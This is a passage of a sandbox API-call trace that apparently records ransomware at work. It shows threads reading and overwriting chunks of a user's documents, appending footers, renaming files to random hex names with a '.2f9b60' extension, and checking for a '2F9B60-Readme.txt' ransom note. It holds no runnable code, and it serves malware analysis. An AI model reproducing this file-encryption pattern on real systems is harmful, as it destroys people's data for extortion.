HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.755] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 Thread: id = 541 os_tid = 0xdf8 [0093.764] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zMFPw8q5_BpBKboWDKy.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zmfpw8q5_bpbkbowdky.ots")) returned 0x20 [0093.764] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zMFPw8q5_BpBKboWDKy.ots", dwFileAttributes=0x20) returned 1 [0093.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zMFPw8q5_BpBKboWDKy.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zmfpw8q5_bpbkbowdky.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.764] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x240df860 | out: lpFileSize=0x240df860*=33330) returned 1 [0093.764] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x822e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.764] ReadFile (in: hFile=0xd04, lpBuffer=0x240df7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x240df828, lpOverlapped=0x0 | out: lpBuffer=0x240df7e0*, lpNumberOfBytesRead=0x240df828*=0x4, lpOverlapped=0x0) returned 1 [0093.765] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0093.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0093.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.766] NtQuerySystemTime (in: CurrentTime=0x240df720 | out: CurrentTime=0x240df720*=132462176995978000) returned 0x0 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x7b565d8f [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x70ef49af [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x3580ce16 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x36846669 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x5624eed7 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x64938b41 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x442382c2 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x443d51a2 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x44cee5c2 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x2d51c92d [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x2ab0cc5a [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x6adddbbd [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x4bee4c0f [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x434f09ec [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x3cddf4cd [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x21a8c956 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x47f570ba [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x5a05c804 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x5597a574 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x3e8a8696 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x1860679 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x532c6fa5 [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x316522fe [0093.766] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x71c9bb5e [0093.767] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x7f1f6b02 [0093.767] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x43035539 [0093.767] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x6da03523 [0093.767] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x2315ee1f [0093.767] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x3512814 [0093.767] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x44714d22 [0093.767] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x44793442 [0093.767] RtlRandomEx (in: Seed=0x240df710 | out: Seed=0x240df710) returned 0x443a7ca7 [0093.779] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.779] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x240df780, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x240df780*=0x3c00, lpOverlapped=0x0) returned 1 [0093.780] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0093.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0093.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0093.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0093.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f880) returned 1 [0093.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0093.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.781] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x240df780, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x240df780*=0x3c00, lpOverlapped=0x0) returned 1 [0093.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c030 [0093.783] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.783] WriteFile (in: hFile=0xd04, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x240df830, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x240df830*=0x120, lpOverlapped=0x0) returned 1 [0093.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0093.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0093.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ebb0 [0093.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0093.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0093.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86ecd0 [0093.785] sprintf (in: _Dest=0x1b86ecd0, _Format="%c%c" | out: _Dest="68") returned 2 [0093.785] sprintf (in: _Dest=0x1b86ecd2, _Format="%c%c" | out: _Dest="45") returned 2 [0093.785] sprintf (in: _Dest=0x1b86ecd4, _Format="%c%c" | out: _Dest="19") returned 2 [0093.785] sprintf (in: _Dest=0x1b86ecd6, _Format="%c%c" | out: _Dest="55") returned 2 [0093.785] sprintf (in: _Dest=0x1b86ecd8, _Format="%c%c" | out: _Dest="47") returned 2 [0093.785] sprintf (in: _Dest=0x1b86ecda, _Format="%c%c" | out: _Dest="53") returned 2 [0093.785] sprintf (in: _Dest=0x1b86ecdc, _Format="%c%c" | out: _Dest="5f") returned 2 [0093.785] sprintf (in: _Dest=0x1b86ecde, _Format="%c%c" | out: _Dest="41") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ece0, _Format="%c%c" | out: _Dest="83") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ece2, _Format="%c%c" | out: _Dest="11") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ece4, _Format="%c%c" | out: _Dest="dc") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ece6, _Format="%c%c" | out: _Dest="05") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ece8, _Format="%c%c" | out: _Dest="db") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecea, _Format="%c%c" | out: _Dest="7b") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecec, _Format="%c%c" | out: _Dest="fd") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecee, _Format="%c%c" | out: _Dest="9e") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecf0, _Format="%c%c" | out: _Dest="d7") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecf2, _Format="%c%c" | out: _Dest="86") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecf4, _Format="%c%c" | out: _Dest="3b") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecf6, _Format="%c%c" | out: _Dest="ec") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecf8, _Format="%c%c" | out: _Dest="6f") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecfa, _Format="%c%c" | out: _Dest="2d") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecfc, _Format="%c%c" | out: _Dest="d2") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ecfe, _Format="%c%c" | out: _Dest="ba") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ed00, _Format="%c%c" | out: _Dest="42") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ed02, _Format="%c%c" | out: _Dest="e6") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ed04, _Format="%c%c" | out: _Dest="20") returned 2 [0093.786] sprintf (in: _Dest=0x1b86ed06, _Format="%c%c" | out: _Dest="95") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed08, _Format="%c%c" | out: _Dest="62") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed0a, _Format="%c%c" | out: _Dest="c9") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed0c, _Format="%c%c" | out: _Dest="19") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed0e, _Format="%c%c" | out: _Dest="cb") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed10, _Format="%c%c" | out: _Dest="9d") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed12, _Format="%c%c" | out: _Dest="79") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed14, _Format="%c%c" | out: _Dest="e3") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed16, _Format="%c%c" | out: _Dest="6a") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed18, _Format="%c%c" | out: _Dest="0d") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed1a, _Format="%c%c" | out: _Dest="2e") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed1c, _Format="%c%c" | out: _Dest="cb") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed1e, _Format="%c%c" | out: _Dest="2a") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed20, _Format="%c%c" | out: _Dest="72") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed22, _Format="%c%c" | out: _Dest="37") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed24, _Format="%c%c" | out: _Dest="42") returned 2 [0093.787] sprintf (in: _Dest=0x1b86ed26, _Format="%c%c" | out: _Dest="07") returned 2 [0093.788] sprintf (in: _Dest=0x1b86ed28, _Format="%c%c" | out: _Dest="18") returned 2 [0093.788] sprintf (in: _Dest=0x1b86ed2a, _Format="%c%c" | out: _Dest="73") returned 2 [0093.788] RtlInitAnsiString (in: DestinationString=0x240df8a8, SourceString="6845195547535f418311dc05db7bfd9ed7863bec6f2dd2ba42e6209562c919cb9d79e36a0d2ecb2a723742071873" | out: DestinationString="6845195547535f418311dc05db7bfd9ed7863bec6f2dd2ba42e6209562c919cb9d79e36a0d2ecb2a723742071873") [0093.788] RtlAnsiStringToUnicodeString (in: DestinationString=0x240df878, SourceString="6845195547535f418311dc05db7bfd9ed7863bec6f2dd2ba42e6209562c919cb9d79e36a0d2ecb2a723742071873", AllocateDestinationString=1 | out: DestinationString="6845195547535f418311dc05db7bfd9ed7863bec6f2dd2ba42e6209562c919cb9d79e36a0d2ecb2a723742071873") returned 0x0 [0093.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118610 [0093.788] wcscat (in: _Dest=0x1b7ad2a0, _Source="6845195547535f418311dc0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6845195547535f418311dc0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6845195547535f418311dc0" [0093.788] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6845195547535f418311dc0.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6845195547535f418311dc0.2f9b60" [0093.788] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6845195547535f418311dc0.2f9b60", NtPathName=0x240df850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6845195547535f418311dc0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107a80 [0093.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0093.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.790] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x240df8b8, FileInformation=0x240df8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x240df8b8, FileInformation=0x240df8c8) returned 0x0 [0093.790] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x240df8b8, FileInformation=0x240df8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0093.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0093.793] FlushFileBuffers (hFile=0xd04) returned 1 [0093.794] CloseHandle (hObject=0xd04) returned 1 [0093.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f390 [0093.795] wcscpy (in: _Dest=0x1b85f390, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.795] wcscat (in: _Dest=0x1b85f390, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.795] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0093.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7846d0) returned 1 Thread: id = 542 os_tid = 0xdfc [0093.800] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_0R6TtPbZmJEI.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_0r6ttpbzmjei.xlsx")) returned 0x20 [0093.800] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_0R6TtPbZmJEI.xlsx", dwFileAttributes=0x20) returned 1 [0093.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_0R6TtPbZmJEI.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_0r6ttpbzmjei.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.800] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x2460f880 | out: lpFileSize=0x2460f880*=93659) returned 1 [0093.801] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x16dd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.801] ReadFile (in: hFile=0xd04, lpBuffer=0x2460f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2460f848, lpOverlapped=0x0 | out: lpBuffer=0x2460f800*, lpNumberOfBytesRead=0x2460f848*=0x4, lpOverlapped=0x0) returned 1 [0093.802] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0093.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0093.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.802] NtQuerySystemTime (in: CurrentTime=0x2460f740 | out: CurrentTime=0x2460f740*=132462176996290000) returned 0x0 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x29662831 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x2a39a40d [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x6d05cc20 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x365613ca [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x6e389e1 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x680af841 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x789877a8 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x25935275 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x49c401b8 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x695b6fb6 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x199ed529 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x2b97ef6f [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x2c4b0ce6 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x293ea6ab [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x1740df85 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x1a42892f [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x70414660 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x24f7433 [0093.802] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x43a2f882 [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x62b91791 [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x4004df1 [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x7c2a650 [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x27525a72 [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x1062a90a [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x72ae30f9 [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x2221d7b3 [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x25b4f9f8 [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x63901b8e [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x13034f0d [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x6e99648e [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0x49bd0a2a [0093.803] RtlRandomEx (in: Seed=0x2460f730 | out: Seed=0x2460f730) returned 0xf526803 [0093.812] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.812] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2460f7a0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2460f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.812] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0093.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0093.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0093.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0093.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0093.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0093.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.813] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2460f7a0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2460f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.815] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.815] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2460f7a0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2460f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.815] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0093.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0093.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f880) returned 1 [0093.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0093.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.816] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2460f7a0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2460f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.817] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x131db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.817] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2460f7a0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2460f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.817] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x131db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.817] RtlAllocateHeap (HeapHandle=0xa0000, 